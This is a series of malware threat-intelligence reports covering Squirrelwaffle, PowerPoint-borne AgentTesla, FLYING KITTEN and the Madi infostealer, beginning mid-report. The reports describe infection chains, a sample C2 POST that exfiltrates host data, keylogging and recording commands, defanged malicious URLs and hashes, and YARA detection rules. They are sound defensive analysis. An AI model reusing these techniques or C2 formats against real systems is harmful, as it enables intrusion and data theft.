is from someone that they know who is replying to the same thread. Once a victim clicks on the URL, a ZIP file is downloaded that contains a Microsoft Word document. These documents follow a similar naming convention matching the regular expression diagram-\d{2,3}.doc. For example, the file with an MD5 hash E599A656599A2680C9392C7329D9D519 has the filename diagram-346.doc. This document is using a DocuSign template lure that instructs the user to enable a macro to view the content. All the other documents analyzed by Zscaler ThreatLabz have exactly the same content with multiple modules that contain VBA code. Once the user enables the macro, an AutoOpen() subroutine is called which then executes a malicious Visual Basic Application (VBA) macro. Here, the AutoOpen() subroutine calls another function efile() in the bxh module. There is a UserForm object in the document which contains a VBS file named pin.vbs that is embedded in the caption of the DocuSign image. The document that contains the macro code leverages cscript.exe to extract the embedded VBS file, which is written to the %ProgramData% folder, and executed using wscript.exe. This VBS file contains an obfuscated PowerShell script with 5 different URLs to download the Squirrelwaffle payload. The payload is written to %ProgramData% with the filename ww1.dll. The VBS file simply uses the IEX (Invoke-Expression) function to download the Squirrelwaffle loader. The payload DLL is executed via rundll32.exe by invoking the export function name ldr. ### Example (sanitized) URLs that were used to retrieve Squirrelwaffle are shown below: - hxxps://priyacareers[.]com/u9hDQN9Yy7g/pt.html - hxxps://perfectdemos[.]com/Gv1iNAuMKZ/pt.html - hxxps://bussiness-z[.]ml/ze8pCNTIkrIS/pt.html - hxxps://cablingpoint[.]com/ByH5NDoE3kQA/pt.html - hxxps://bonus.corporatebusinessmachines[.]co.in/1Y0qVNce/pt.html The threat actor behind these campaigns has changed some of their TTPs over time. Recently, the initial infection vector has used hidden Microsoft Excel sheets with an Auto_Open() macro, which downloads the Squirrelwaffle loader from three different URLs. The Squirrelwaffle loader is subsequently executed via regsvr32.exe. An example for this campaign used a Microsoft Excel document with the MD5 hash 77BD39191FDC817F2F14F0462BFF8D86 and a filename matching the regular expression diagram-\d{1,9}.xls. ### The hidden sheet in this Excel document is shown in Figure 7. The extracted macro code is shown in Figure 8. The threat actor also changed the location where the payload is written to disk. Example (sanitized) URLs that were used to retrieve Squirrelwaffle from this campaign are shown below: - hxxps://cortinastelasytrazos[.]com/Yro6Atvj/sec.html - hxxps://orquideavallenata[.]com/4jmDb0s9sg/sec.html - hxxps://fundacionverdaderosheroes[.]com/gY0Op5Jkht/sec.html ## Technical Analysis of the Payload This analysis covers the Squirrelwaffle with the MD5 hash 479DAE0F72F4D57BD20E0BF8CB3EBDF7. Once the Squirrelwaffle payload is downloaded, it will either be executed via rundll32.exe or regsvr.exe depending upon the initial infection vector that was used to download the payload. Squirrelwaffle loader samples have a recent compilation date using Visual Studio 2017. The Squirrelwaffle loader is a 32-bit DLL, which is packed with a custom packer. Similar packers have been observed in other malware families including Ursnif and Zloader. Squirrelwaffle contains a hardcoded configuration that is encrypted in the binary. There are two main components: a list of CnC URLs and a list of IP addresses to block, which belong to sandboxes and analysis platforms. These lists are obfuscated using an XOR-based algorithm with hardcoded keys. Once the malware decodes all of the CnC domains and IP addresses to block, it creates a socket and sends the data using the send() function and receives the content from the CnC using recv() calls. The CnC communication protocol utilizes an HTTP POST request with a Base64 encoded payload that is encrypted using an XOR-based algorithm with the hardcoded key KJKLO. ### An example HTTP POST request is shown below: ``` POST /dXf4cS4GPL/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkenw= HTTP/1.1 Host: test.dirigu.ro Content-Length: 76 eHp+fHZ7Q0ICAAUPQkUMcRYePyo5ORcrKiQ4LCkTCjo7CC4/KxceIConIiIoQkMHHw0CAhoKRkI= ``` Note that this request does not contain a User-Agent field in the HTTP header. The path of the HTTP POST request consists of a hardcoded prefix and a Base64 encoded string that is encrypted using the same XOR-based algorithm and key as described above. This encoded string includes an alphanumeric string with a random length between 1 and 28 characters followed by the IP address of the system. Each field is delimited by a single tab character. The HTTP POST body contains another Base64 encoded string that includes the victim’s computer name, username, application data directory, and workgroup. Each field is delimited with two tab characters. This payload is also encrypted with the same XOR-based algorithm and key as the HTTP POST path component. The SquirrelWaffle CnC responds with a Base64 encoded payload that uses the same encryption schema with another format that uses two tab characters as delimiter between fields. These fields include a status code, a timestamp, the external IP address of the system, along with the victim’s system information that was previously sent. The SquirrelWaffle CnC response may also contain a second-stage payload. This second-stage payload will be written to a filename that consists of eleven random alphanumeric characters appended with a .txt extension, and then executed by SquirrelWaffle. Zscaler ThreatLabz has observed Squirrelwaffle deliver an executable file with the MD5 hash 116301FD453397FDF3CB291341924147. This file is packed and decrypted in memory to produce a Cobalt Strike stager with the MD5 hash 38DB72B33ABCEA250F5B7CB5AB514B2C, which further downloads the Cobalt Strike beacon. ## Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels including the signature shown below: ``` Win32.Downloader.Squirrelwaffle ``` ## Conclusion After the Emotet botnet takedown earlier this year, criminal threat actors are filling that void. Squirrelwaffle appears to be a new loader taking advantage of this gap. It is not yet clear if Squirrelwaffle is developed and distributed by a known threat actor or a new group. However, similar distribution techniques were previously used by Emotet. The Zscaler ThreatLabz team will continue to monitor this attack, as well as others, to help keep our customers safe. ## MITRE ATT&CK TTP Mapping | Tactic | Technique | |--------|-----------| | T1059 | Command and Scripting Interpreter | | T1592 | Gather Victim Host Information | | T1569 | System Services | | T1137 | Office Application Startup | | T1055 | Process Injection | | T1140 | Deobfuscate/Decode Files or Information | | T1436 | Commonly Used Port | | T1437 | Standard Application Layer Protocol | | T1106 | Native API | ## Indicators of Compromise ### Squirrelwaffle ZIP archive URLs - hxxp://amaimaging[.]com/voluptas-quidem/documents.zip - hxxp://beautifulgist[.]com/id-alias/documents.zip - hxxp://bussiness-z[.]ml/qui-quia/documents.zip - hxxp://gadhwadasamaj.techofi[.]in/expedita-consequatur/documents.zip - hxxp://inetworx.co[.]za/voluptate-sunt/documents.zip - hxxp://insurance.akademiilmujaya[.]com/beatae-sunt/documents.zip - hxxp://prevenzioneformazionelavoro[.]it/quasi-reprehenderit/documents.zip - hxxp://procatodicadelacosta[.]com/neque-et/documents.zip - hxxp://readgasm[.]com/repudiandae-provident/documents.zip - hxxp://rinconadadellago[.]com.mx/qui-quia/documents.zip - hxxp://saraviatowing[.]net/et-praesentium/documents.zip - hxxp://shahanaschool[.]in/illum-accusamus/documents.zip - hxxp://srv7.corpwebcontrol[.]com/np/prog_est.zip - hxxp://srv7.corpwebcontrol[.]com/np/user_est.zip - hxxp://stripemovired.ramfactoryarg[.]com/nostrum-ab/documents.zip - hxxp://syncun[.]com/natus-aut/documents.zip - hxxp://tradingview-brokers.skoconstructionng[.]com/molestiae-voluptatum/documents.zip - hxxps://abogados-en-medellin[.]com/odit-error/documents.zip - hxxps://amaimaging[.]com/voluptas-quidem/ducimus.zip - hxxps://builtbvbh-com[.]gq/eum-est/voluptas.zip - hxxps://builtbybh-com[.]gq/eum-est/voluptas.zip - hxxps://builtybybh-com[.]gq/eum-est/voluptas.zip - hxxps://cctvfiles[.]xyz/aliquam-ipsam/documents.zip - hxxps://focus.focalrack[.]com/enim-rerum/ducimus.zip - hxxps://inetworx.co[.]za/voluptate-sunt/est.zip - hxxps://kmslogistik[.]com/repellat-et/est.zip - hxxps://moeinjelveh[.]ir/et-eligendi/placeat.zip - hxxps://readgasm[.]com/repudiandae-provident/voluptas.zip - hxxps://saraviatowing[.]net/et-praesentium/placeat.zip - hxxps://sextoystore.co[.]in/temporibus-aut/est.zip - hxxps://shivrajengineering[.]in/qui-dolores/placeat.zip ### Squirrelwaffle Loader URLs - hxxps://ghapan[.]com/Kdg73onC3oQ/090921.html - hxxps://yoowi[.]net/tDzEJ8uVGwdj/130921.html - hxxps://gruasingenieria[.]pe/LUS1NTVui6/090921.html - hxxps://chaturanga.groopy[.]com/7SEZBnhMLW/130921.html - hxxps://lotolands[.]com/JtaTAt4Ej/130921.html - hxxps://cortinastelasytrazos[.]com/Yro6Atvj/sec.html - hxxps://orquideavallenata[.]com/4jmDb0s9sg/sec.html - hxxps://fundacionverdaderosheroes[.]com/gY0Op5Jkht/sec.html ### Squirrelwaffle Word Document File MD5 Hashes - 326498ae163f0d6b8a863d24793f152d - 2156a1a8b0c579a51ea77d1bc7062b49 - 5e9f33e5baa6d6efca91c8db78c01bd0 - fae4ca3c95a5068063637b2f2ed3a5b2 - a449e5044437c453fce2ead881aa8161 - c27545fbb3b4ff35277bce1383655e46 - c774e400b46f4c0bb90c11e349bc36a0 - c2ed8fc614aeda36a7e3a638fa7db16a - db11964b27738bf4e3a1501e11bd54ad - 822e20c95df7165009600a9bfbff9b5e - c1ed800a4ae9d4efd61de3aa7fd657b4 - b478bc389fc15e17b231984fa80e2b0d - e599a656599a2680c9392c7329d9d519 - da48063b7d75ec645f4370b95c28675c - c3bd4145feaaae541cb17ccc7cbd2e44 - 558f97103085394c3a35c9b03839fe72 - a07f5b21376cd2b661f36dcdc2081b75 - 5b50f7beabcff32bd02de2dda2766a7b ### Squirrelwaffle VBS File MD5 Hash - 9da69f65ce4e8e57aef3ea1dd96f42ec ### Squirrelwaffle Loader MD5 Hashes - 7e9ba57db08f53b56715b0a8121bd839 - 5ec89ea30af2cc38ae183d12ffacbcf7 - a3ecc9951178447b546b004ea2dfd93f - 9545905ea3735dcac289eead39e3f893 - 732ce2ef4b18042ef9e3f3e52ad59916 - cb905bb6a38b5d253eb64aab46eafbd7 - ebeeef845d0d666363935da89a57b44d ### Unpacked DLL file MD5 Hash - 3ecc9ca5e744d7ddafa04834c70b95c3 ### Domain used by the DLL for Squirrelwaffle CnC - 107[.]180[.]12[.]15 port 80 centralfloridaasphalt[.]com - 119[.]235[.]250[.]50 port 80 kmslogistik[.]com - 143[.]95[.]80[.]83 port 80 chaturanga[.]groopy[.]com - 160[.]153[.]129[.]37 port 80 mercyfoundationcio[.]org - 160[.]153[.]129[.]37 port 80 shoeclearanceoutlet[.]co[.]uk - 160[.]153[.]131[.]187 port 80 spiritofprespa[.]com - 166[.]62[.]28[.]139 port 80 jhehosting[.]com - 166[.]62[.]28[.]139 port 80 key4net[.]com - 166[.]62[.]28[.]139 port 80 lead[.]jhinfotech[.]co - 166[.]62[.]28[.]139 port 80 voip[.]voipcallhub[.]com - 166[.]62[.]28[.]139 port 80 voipcallhub[.]com - 194[.]181[.]228[.]45 port 80 bartek-lenart[.]pl - 194[.]181[.]228[.]45 port 80 lenartsa[.]webd[.]pro - 202[.]52[.]147[.]113 port 80 amjsys[.]com - 203[.]124[.]44[.]95 port 80 novamarketing[.]com[.]pk - 216[.]219[.]81[.]3 port 80 ems[.]prodigygroupindia[.]com - 216[.]219[.]81[.]3 port 80 hrms[.]prodigygroupindia[.]com ### Cobalt Strike Stager MD5 Hashes - 116301fd453397fdf3cb291341924147 - ef799b5261fd69b56c8b70a3d22d5120 ### Cobalt Strike CnC Servers - 213.227.154[.]92:443/jquery-3.3.1.min.js - 213.227.154[.]92:8080/jquery-3.3.1.min.js - systemmentorsec[.]com:443/jquery-3.3.1.min.js - systemmentorsec[.]com:8080/jquery-3.3.1.min.js
# Infected PowerPoint Files Using Cloud Services to Deliver Multiple Malware **Gustavo Palazolo** **January 24, 2022** **Co-authored by Gustavo Palazolo and Ghanashyam Satpathy** ## Summary In 2021, malicious Office documents accounted for 37% of all malware downloads detected by Netskope, showing favoritism for this infection vector among attackers. This is likely due to the ubiquitous usage of Microsoft Office in enterprises across the globe. Throughout 2021, we analyzed many techniques used by attackers to deliver payloads through infected documents, which included the return of Emotet, a campaign that primarily uses infected documents to spread malware. Since December 2021, Netskope Threat Labs has observed an increase in the usage of one specific file type from the Microsoft Office suite: PowerPoint. These relatively small files are being delivered through phishing emails, then downloading and executing malicious scripts through LoLBins, a common technique often used to stay under the radar. We spotted this campaign delivering multiple malware, such as AveMaria (a.k.a. Warzone) and AgentTesla. These files are using Bitly to shorten URLs and different cloud services like MediaFire, Blogger, and GitHub to host the payloads. In this blog post, we will analyze a malicious PowerPoint Add-In file detected by Netskope that delivers multiple malware, including AgentTesla. ## Stage 01 – Infected PowerPoint File The infection flow starts with a phishing email that carries the infected file as an attachment, along with a message that lures the victim to download and open it. The file is fairly small and it doesn’t contain anything but the malicious VBA macro. The macro is obfuscated and it uses an internal function to decrypt important strings at runtime. This technique uses Outlook (COM Object) to execute PowerShell, which bypasses the child process created by PowerPoint. The script is executed with a combination of PowerShell and mshta, a similar technique employed by BazarLoader. ## Stage 02 – VBS File The URL contacted by the mshta binary is shortened through the Bitly domain “j.mp”, and the payload is hosted on MediaFire, a cloud service for file storage and sharing. The next stage is a VBS script that is lightly obfuscated within an HTML page, which is decoded and executed through a simple JavaScript function. Once deobfuscated, the VBS script performs multiple tasks to: 1. Create a persistence mechanism through the Windows registry to execute two PowerShell scripts from external URLs. The first script delivers AgentTesla, and the second script is used to disable some OS defenses, such as Windows Defender. 2. Create a scheduled task that executes a script from an external URL through mshta approximately every hour. This script delivers a cryptocurrency stealer developed in PowerShell, hidden within a fake web page hosted with Blogger. 3. Create a persistence mechanism through the Windows registry to execute a script from an external URL using mshta. Unfortunately, we can’t tell what was being executed as this URL was offline at the time of the analysis. ## Stage 03 – AgentTesla The first PowerShell script is responsible for executing AgentTesla, which is a .NET-based Remote Access Trojan with many capabilities, such as stealing browser’s passwords, capturing keystrokes, clipboard, etc. The code is slightly obfuscated, protecting variables, function names, and strings. There are two large arrays that contain: 1. Compressed bytes of AgentTesla; 2. Compressed bytes of a .NET Injector used for process injection; None of the executables are written to disk, which characterizes this attack as fileless. Once both files are decompressed, the script loads the injector and calls a function named “Execute”, responsible for injecting AgentTesla payload into an instance of “aspnet_compiler.exe”, which is a binary from the .NET framework. Most of the injector’s function names are obfuscated, but we can see the namespace, the class, and the method that is being called to inject AgentTesla into a process. Furthermore, an injector using “projFUD” as namespace was previously spotted in the wild, used by other malware such as ASyncRAT and RevengeRAT. AgentTesla is developed in .NET and this sample is using a protector known as “Obfuscar”, which creates a few mechanisms in the code to make analysis harder. Despite the protector’s usage, it’s still possible to see clean code from the decompiler, like this method that sends HTTP requests. All the strings used by AgentTesla are encrypted within the binary, where all the characters are stored in a single array of bytes. Once it’s running, the code decrypts all the characters in the list using a simple XOR operation with the encrypted byte, its position on the list, and the decimal 170. Whenever AgentTesla needs to access a string, it calls a function that returns the string by accessing its position in the list, and the respective length. Using the same logic, we can use a combination of regex and a Python script to decrypt all the strings in the binary. Furthermore, AgentTesla sends an HTTP POST request to a malicious server with information about the infected machine, such as the computer name, username, IP address, etc. ## Stage 04 – PowerShell The second PowerShell file executed by the VBS script in the second stage is mostly used to disable Windows Defender. Once running, it downloads a file from GitHub named NSudo, which is used for privilege escalation (TA0004). NSudo is executed as “TrustedInstaller” through the arguments “-U:T”. The second download is a VBS script hosted on MediaFire, which uses NSudo and other commands to disable Windows Defender and to add a few AV exclusions based on file extensions, paths, and executable names. The VBS is executed through another Living-off-the-Land technique, by first creating an INF file with the command to be executed, and then executing the INF file with the cmstp LoLBin. ## Stage 05 – Cryptocurrency Stealer The third URL downloaded by the second stage VBS is hosted with Blogger, which tries to camouflage itself through a fake web page that says the content is sensitive. Despite the attempt to hide behind this web page, we can find two malicious VBS within the HTML, which are decoded and executed with a simple JavaScript. One of the VBS executed in this stage leads to the same PowerShell that delivers AgentTesla, which is redundant. However, the other VBS code leads to a simple cryptocurrency stealer written in PowerShell. The malware is fairly simple; it works by checking the clipboard data with a regex that matches the cryptocurrency wallet pattern. If it is found, the data is replaced with the attacker’s wallet address. The code is able to replace the address for many coins, such as Bitcoin, Ethereum, XMR, DOGE, etc. ## Conclusion Attackers not only continue to abuse Microsoft Office to deliver malware, but are also increasingly including cloud services in their attacks, as this adds a certain resilience to the entire process. Netskope Advanced Threat Protection includes a custom Microsoft Office file analyzer and a sandbox to detect campaigns like the one we described in this analysis. We will continue to provide updates on this threat as it evolves. ## Protection Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for all known threat indicators and payloads. Netskope Advanced Threat Protection provides proactive coverage against this threat.
# Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose. CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since mid-January 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.-based defense contractors as well as political dissidents. ## Flying Kitten Targeted Intrusion FireEye’s report notes that this adversary’s targeted intrusion activity consists of credential theft and malware delivery individually. The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence showed that the actor actually combines the two. For example, the adversary will register a domain that spoofs the name of the targeted organization and then host a spoofed login page on that site. The page is used to steal legitimate credentials, but once users enter the credentials, they are often redirected to a new page that prompts them to download a “Browser Patch” or other similar type of file. The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server. In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also engaged in broader targeting via the website parmanpower[.]com. This website is registered via the same registrant email (info[@]usa.gov.us) and other Whois information as some of the other domains related to the activity discussed above. It purports to be the website of a business engaged in recruiting, training, and development in Erbil, Iraq. No malicious activity has been linked to this domain; however, the fact that it was registered under the same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity suggests that the adversary is using this site for malicious purposes as well. The website does not appear to deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website (aeroconf2014[.]org) the adversary used earlier this year. This spoofed recruiting company website could be used to target entities across a wide range of sectors. ## Attribution Attribution in this case is interesting, as the adversary appears to have made a mistake when registering its malicious domains. The registrant email that currently appears in the Whois records of some of the FLYING KITTEN domains is info[@]usa.gov.us; however, historical records show that the domains were originally registered under the email address keyvan.ajaxtm[@]gmail.com. As FireEye’s report notes, the [email protected] email address ties back to an Iran-based entity called Ajax Security Team. Earlier this year, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages. This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity. ## Yara Rules The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration tool: ```yara rule CrowdStrike_FlyingKitten : rat { meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten RAT" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $classpath = "Stealer.Properties.Resources.resources" $pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" condition: all of them and uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and ((uint16(uint32(0x3c)+24) == 0x010b and uint32(uint32(0x3c)+232) > 0) or (uint16(uint32(0x3c)+24) == 0x020b and uint32(uint32(0x3c)+248) > 0)) } ``` ```yara rule CrowdStrike_CSIT_14003_03 : installer { meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten Installer" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $exename = "IntelRapidStart.exe" $confname = "IntelRapidStart.exe.config" $cabhdr = { 4d 53 43 46 00 00 00 00 } condition: all of them } ``` You can use this rule with CrowdStrike’s free CrowdResponse tool to easily scan your systems for the presence of FLYING KITTEN. If you have any questions about these signatures or want to hear more about Flying Kitten and their tradecraft, please contact: [email protected] and inquire about Falcon Intelligence, our Cyber Threat Intelligence subscription.
# The 'Madi' Infostealers - A Detailed Analysis On 17 July, we published a blog about Madi and the ongoing campaign used to infiltrate computer systems throughout the Middle East, targeting users in Iran, Israel, Afghanistan, and other individuals globally. Here is the follow-up with a detailed analysis of the infostealer used in the campaign. ## Installation The infostealer is installed by various downloaders used in the attacks, which can be separated into two categories: 1. Downloaders using social engineering techniques (displaying pictures, movies, documents, etc.) to trick the user. 2. Downloaders that simply download and install the infostealer. Both types of downloaders copy themselves as `UpdateOffice.exe` into the `Printhood` directory, e.g., `C:\Documents and Settings\%USER%\PrintHood\UpdateOffice.exe`, where they start executing. Both the infostealer and downloaders create fake files with random names in their respective folders. The downloaders also drop some files that assist the malware. Only one file will be used by the infostealer: `nam.dll`. This file is created by the downloader in the `Templates` directory (e.g., `C:\Documents and Settings\%USER%\Templates\nam.dll`) and contains a BOT prefix/build that will be used by the infostealer when connecting to the command and control server (C&C). To download and install the infostealer, the downloaders connect to the C&C server to request an HTM page. Older variants use `http://[C&C address]/ASLK/khaki/Abi/UUUU.htm`, whereas more recent ones use `http://[C&C address]/ASLK/asgari/mah/UeUeUeUe.htm`. The HTM page is a copy of the Google index, with a double BASE64 encoded executable embedded in the page. The keyword "tamamshodfile" at the bottom will be explained in the 'Infostealer Analysis' section below. The downloaders simply parse the HTM file, decode the Base64 payload twice, and save the resulting PE file as `iexplore.exe` in the `Templates` directory. Once downloaded, the infostealer is executed. ## Infostealer Analysis: Iexplore.exe All versions of the infostealer have an Internet Explorer icon and were written in Delphi. The version used in this article, compiled on 10 June 2012, is packed using UPX 3.08. The file is rather big: 415 KB packed and 1.14 MB once unpacked. One peculiarity of the infostealer used in the Madi campaign is the heavy use of Delphi Timers. There are 52 of them. Numerous bugs were discovered during the analysis of the infostealer. Some of them won't be discussed here as we don't want to help the authors improve their malware. ### TForm4.FormCreate Upon execution, the first activity of interest performed by the infostealer happens inside `TForm4.FormCreate`. It starts with the setup of a keylogger. To do so, the Madi infostealer uses the Windows function `SetWindowsHookEx` with the `WH_KEYBOARD_LL` Id_Hook. Once the keylogger has been installed, the infostealer reads the `nam.dll` file (dropped by the downloader) to get the BOT prefix and concatenates it with the computer name. This will be referred to as `BOTID_TMP`. The final BOTID contains some numbers derived from the `C:` Volume Serial Number. The following timers are then disabled in this specific order: Timer1, Timer16, Timer18, Timer17, Timer20, Timer19, Timer24, Timer8, Timer30, Timer31, Timer33, Timer34, Timer36, Timer37, Timer38, Timer39, Timer40, Timer41, Timer44, Timer45, Timer46, Timer48, Timer49, Timer50. The malware uses many external files to receive commands, which indicates poor programming skills. Those files inform the malware about the infection status. When referring to a file, it is in the malware directory (`Templates` directory), unless stated otherwise. The infostealer looks for the following files: - `fsdiskget.dll`: If found, it enables Timer 23; otherwise, it disables it. - `nrbindek.dll`: If found, it enables Timer 28; otherwise, it disables it. - `specialfile.dll`: If found, it deletes it. - `filesend.xls`: Doesn't actually look for it; just tries to delete it. - `begirnagir.htp`: If NOT found, it disables Timer 3. - `filebind.xls`: If found, it enables Timer 29; otherwise, it disables it. Next, Timer 14 and Timer 13 are both disabled. The Trojan looks for `First.dll`, which is created the first time the malware is executed. If already present, the code returns from `TForm4.FormCreate`. Otherwise, it creates `first.dll` with a hardcoded stream of bytes (not a real .dll, as mentioned above). Like the downloaders, the infostealer also generates fake files with random names. Before returning from `TForm4.FormCreate`, six loops will be executed: - XLS: 51 fake XLS files with random names (7 characters) are generated using a hardcoded stream of bytes. - EXE: 51 fake EXE files with random names (6 characters) are generated using a hardcoded stream of bytes. - DLL: 201 fake DLL files with random names (9 characters) are generated using a hardcoded stream of bytes. - TXT: 51 fake TXT files with random names (4 characters) are generated using a hardcoded stream of bytes. - XML: 51 fake XML files with random names (8 characters) are generated using a hardcoded stream of bytes. - HTM: 51 fake HTM files with random names (8 characters) are generated using a hardcoded stream of bytes. ### Keylogger Analysis As mentioned before, the keylogger setup is done in `TForm4.FormCreate`. It uses `SetWindowsHookEx` with the `WH_KEYBOARD_LL` Id_hook to intercept keystrokes. The hook function is rudimentary, using `GetAsyncKeyState` with `VK_BACK` to find out if the victim used backspace. For each typed key, there is a handler to save which key was typed in the keylogger buffer `poki65_pik_log`. The malware uses 52 timers. Therefore, we will group them by actions to make the overall analysis easier to follow. ## Command and Control: Protocol We are now going to cover all the timers responsible for contacting the C&C server and receiving commands to execute on the infected machine, along with the various handlers used to execute actions according to those orders. **Note:** In many routines, Madi creates `.bat` files to ping the C&C server to see if it is up and saves the result in a special file. Each file has a different name. If these files are referenced, we will provide the timer number responsible for its creation. ### Timer 1: Check-in **Interval:** 25 seconds Before receiving commands, the infostealer connects to the C&C to a special page. This is the check-in routine. Timer 1 gets the `ApplicationName` and concatenates it with `.pkklm`. It tries to open that file, looking for the "Reply From" string (when the IP responds to a ping). If it's not found, it disables Timer 1 and returns. If present, the last part of the BOTID is generated using the `C:` Volume Serial Number. The API function `GetVolumeInformationW` is called to get the Volume Serial Number, which is then concatenated to the `BOTID_TMP` generated in `TForm4.FormCreate`. The final URL that is visited is generated as follows: `BOTID|COMPUTERNAME|VolumeSerialNumber/dastor/file.htm` e.g., `abaanu5|MYCOMPUTER-8712422C|6D8704FE/dastor/file.htm`. The final URL is visited using Internet Explorer (IE) instrumentation. Once visited, it enables Timer 18, disables Timer 1, and returns. This is the checking-in process, which can tell the attackers when a victim computer is ready to receive commands. Once the attackers have decided to send commands to the infected computer, a `das.htm` will be available in the `/dastor/` folder. ### Timer 16: Visit Commands Page **Interval:** 25 seconds Timer 1 gets the `ApplicationName` and concatenates it with `.pkxm`. It tries to open that file, looking for the "Reply From" string. If it's not found, it disables Timer 16 and returns. The final BOTID is computed to build the URL that is visited to receive commands. Before visiting that URL, the `dast.xls` file is deleted. The URL is visited using IE instrumentation. Timer 17 is enabled, and Timer 16 is disabled. ### Timer 17: Save the Command Page as "dast.xls" **Interval:** 20 seconds During the execution of the Madi infostealer, many instances of IE are running. Timer 17 will go through all the different instances of instrumented IE, looking for pages with "dastor" in their title. Once found, the content of the page (without the title) is saved as `dast.xls`. If nothing is found, it will go to the next IE instance and repeat the checks until no instances are left. If nothing is found, a clean-up routine is launched. At the end of Timer 17, it looks for " - dastor - Windows Internet Explorer" and different variants and sends a "WM_Close" Message using the `PostMessageW` function to close the page. Once the clean-up is completed, Timer 17 disables itself and returns. At this point, we have a local file with the commands to execute on the infected machine. ### Timer 12: Command Dispatcher This timer is responsible for parsing the command file. Upon execution, Timer 12 is disabled. The infostealer Trojan checks if the file `dast.xls` is present. If it's not present, Timer 12 is re-enabled and returns. The next stage opens `dast.xls`, which searches for commands to execute. **Command Parsing Logic:** - **PIK:** If the command file contains the word "pik", it checks if Timer 3 is enabled. If not, Timer 3 is enabled, and screen monitoring begins. If the "pik" command is not found, Timer 3 is disabled. - **DESK:** If the command file contains the word "desk", it checks if Timer 13 is enabled. If not, Timer 13 is enabled, and screen monitoring begins. If the "desk" command is not found, Timer 13 is disabled. - **SOUND:** If the command file contains the word "sound", it checks if Timer 14 is enabled. If not, Timer 14 is enabled, and sound recording begins. If the "sound" command is not found, Timer 14 is disabled. - **UPDATE:** If the command file contains the word "update", it checks to see if it also contains a version number, which must be different from the current version ("1.1.6" in the analyzed sample). If neither of those two conditions are valid, it goes to the next command parsing. If the required update criteria are met, it will create `Update.dll`. - **DELETE:** If the command file contains the word "delete", it will create `delete.dll`, using the same stream of bytes as `update.dll`. The Trojan now locates the `STARTUP` folder where a copy of `UpdateOffice.exe` is found and deletes it. - **BIND:** If neither "update" nor "delete" are found, Timer 12 checks if the command file contains the word "bind" and creates `nrbindek.dll`. - **DISKGO:** If the command file contains the word "diskgo", it will create `lbdiskgo.dll`. - **DISKGET:** If the command file contains the word "diskget", it will create `fskdiskget.dll` and enable Timer 23. Afterwards, Timer 12 re-enables itself and exits. ## Monitoring ### Timer 3: PIK Handler – Webmail, Social Network, and IM Screen Capture **Interval:** 60 seconds Timer 3 creates a `begirnagir.htp` file. It checks whether the user has been surfing or using specific applications and takes a screen capture if found. The screen captures are saved as JPG using the naming convention: `mm-dd-yyyy-hhnnss`. ### Timer 13: DESK Handler – Screen Capture **Interval:** 3 minutes Timer 13 takes screen captures every 3 minutes, saved using the naming convention: `mm-dd-yyyy-hhnnss`. The files are in JPG format. ### Timer 14: SOUND Handler – Recording Sound This timer is responsible for starting the audio recording using the `mci*` functions from `winmm.dll`. The following commands are used: - `OPEN NEW TYPE WAVEAUDIO ALIAS mysound` - `SET mysound TIME FORMAT MS BITSPERSAMPLE 8 CHANNELS 1 SAMPLESPERSEC 8000 BYTESPERSEC 8000` - `RECORD mysound` Once the commands are sent, Timer 30 is enabled, and Timer 14 returns. ### Timer 30: Started by Timer 14 (Sound Command Handler) **Interval:** 60 seconds This timer starts Timer 31 when it is time to save the recorded audio. ### Timer 31: Started by Timer 30 (When it is Time to Save Audio Recordings) When sufficient time has passed since the start of audio recording, Timer 31 disables Timer 30, stops the recording, and saves audio files using the naming convention: `mm-dd-yyyy-hhnnss`. The final file is saved as `.wav.BMH`. ### Timer 32: Set Up Keylogger **Interval:** 60 seconds Even though the keylogger setup is performed when the application starts, Timer 32 sets up the keylogger every 60 seconds. ### Timer 2: Creation of Keylogger Logs **Interval:** 10 seconds Timer 2 starts by getting the current user name and checks if the `poki65.pik` file is present. If not, it looks for `solt.html`, which indicates whether the keylogger has created its first log yet. If none of those files are present, it means it is the first time the keylogger has started logging. The first log file contains more information. The Madi keylogger files use HTML tags and colors to make them easier to read. For the first log, it executes `cmd.exe /c ipconfig /allcompartments > ipconfig.txt`, waits 5 seconds, and appends the content of `ipconfig.txt` to the HTML content created. ### Timer 4: Insert Time Stamps and Tags to Display Screen Captures into Keylogger Logs **Interval:** 1 millisecond Timer 4 is responsible for inserting IMG tags inside the keylogger log and adding the time stamp taken from the C&C server. ### Timer 6: Backup Keylogger Log for Exfiltration Timer 6 searches for the `poki65.pik` file. If not found, it returns. It then looks for the size of the log file. If it is lower than 15 KB, it will return. Only log files bigger than 15 KB are exfiltrated. If the size criteria is met, they are copied using the naming convention: `mm-dd-yyyy-hhnnss.HTM`. Timer 6 then deletes `poki65.pik` and returns. ## Data Stealing Data stealing is handled by several timers. Each type of stolen data is stored in a special folder on the server. Files exfiltrated to the C&C servers are Base64 encoded. ### Timer 28: Started During Form Creation (Related to the BIND Command) When the infostealer starts, Timer 28 is enabled if the file `nrbindek.dll` is present. Timer 28 searches for `*.*exe` files on all fixed hard drives. For each `*EXE*` file found that doesn't belong to the "Windows", "Program Files", or "Program Files (x86)" folders, an entry (full path to `*EXE*` file) is added to `filebind.xls`. ### 